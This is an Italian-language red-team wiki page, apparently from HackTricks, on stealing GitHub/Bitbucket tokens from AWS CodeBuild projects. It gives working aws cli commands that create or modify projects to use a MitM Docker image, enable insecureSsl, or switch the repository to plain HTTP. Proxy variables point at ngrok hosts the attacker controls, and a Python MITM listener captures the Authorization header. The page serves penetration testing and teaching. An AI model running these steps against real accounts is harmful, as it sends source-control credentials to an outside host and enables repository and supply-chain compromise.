AWS Codebuild - Token Leakage
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Recuperare i Token Configurati di Github/Bitbucket
Prima di tutto, controlla se ci sono credenziali di origine configurate che potresti leak:
aws codebuild list-source-credentials
Via Docker Image
Se scopri che l'autenticazione, ad esempio, a Github è impostata nell'account, puoi esfiltrare quell'accesso (token GH o token OAuth) facendo in modo che Codebuild utilizzi un'immagine docker specifica per eseguire la build del progetto.
A questo scopo potresti creare un nuovo progetto Codebuild o modificare l'ambiente di uno esistente per impostare l'immagine Docker.
L'immagine Docker che potresti utilizzare è https://github.com/carlospolop/docker-mitm. Questa è un'immagine Docker molto basilare che imposterà le variabili d'ambiente https_proxy
, http_proxy
e SSL_CERT_FILE
. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in https_proxy
e http_proxy
e di fidarti del certificato SSL indicato in SSL_CERT_FILE
.
- Crea e carica la tua immagine Docker MitM
- Segui le istruzioni del repo per impostare il tuo indirizzo IP proxy e impostare il tuo certificato SSL e costruire l'immagine docker.
- NON IMPOSTARE
http_proxy
per non intercettare le richieste all'endpoint dei metadati. - Potresti usare
ngrok
comengrok tcp 4444
per impostare il proxy sul tuo host. - Una volta che hai costruito l'immagine Docker, caricala in un repo pubblico (Dockerhub, ECR...)
- Imposta l'ambiente
- Crea un nuovo progetto Codebuild o modifica l'ambiente di uno esistente.
- Imposta il progetto per utilizzare l'immagine Docker precedentemente generata.
.png)
- Imposta il proxy MitM nel tuo host
- Come indicato nel repo di Github, potresti usare qualcosa come:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
tip
La versione di mitmproxy utilizzata era la 9.0.1, è stato segnalato che con la versione 10 questo potrebbe non funzionare.
- Esegui la build e cattura le credenziali
- Puoi vedere il token nell'intestazione Authorization:
.png)
Questo potrebbe essere fatto anche dalla aws cli con qualcosa come
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
I progetti Codebuild hanno un'impostazione chiamata insecureSsl
che è nascosta nel web e puoi cambiarla solo dall'API.
Abilitando questo, permette a Codebuild di connettersi al repository senza controllare il certificato offerto dalla piattaforma.
- Prima devi enumerare la configurazione attuale con qualcosa come:
aws codebuild batch-get-projects --name <proj-name>
- Quindi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto
insecureSsl
aTrue
. Di seguito è riportato un esempio del mio aggiornamento di un progetto, nota ilinsecureSsl=True
alla fine (questo è l'unica cosa che devi cambiare dalla configurazione raccolta). - Inoltre, aggiungi anche le variabili d'ambiente http_proxy e https_proxy che puntano al tuo tcp ngrok come:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Quindi, esegui l'esempio di base da https://github.com/synchronizing/mitm nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Infine, clicca su Build the project, le credenziali saranno inviate in chiaro (base64) alla porta mitm:
 (1).png)
Via protocollo HTTP
[!TIP] > Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 febbraio 2023 (penso venerdì). Quindi un attaccante non può più abusarne :)
Un attaccante con permessi elevati su un CodeBuild potrebbe rivelare il token Github/Bitbucket configurato o se i permessi sono stati configurati tramite OAuth, il token OAuth temporaneo utilizzato per accedere al codice.
- Un attaccante potrebbe aggiungere le variabili ambientali http_proxy e https_proxy al progetto CodeBuild puntando alla sua macchina (ad esempio
http://5.tcp.eu.ngrok.io:14972
).
.png)
.png)
- Poi, cambiare l'URL del repository github per utilizzare HTTP invece di HTTPS, ad esempio:
http://github.com/carlospolop-forks/TestActions
- Poi, eseguire l'esempio base da https://github.com/synchronizing/mitm nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Successivamente, fai clic su Build the project o avvia la build dalla riga di comando:
aws codebuild start-build --project-name <proj-name>
- Infine, le credenziali saranno inviate in chiaro (base64) alla porta mitm:
.png)
warning
Ora un attaccante sarà in grado di utilizzare il token dalla sua macchina, elencare tutti i privilegi che ha e (ab)usare più facilmente rispetto all'utilizzo diretto del servizio CodeBuild.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.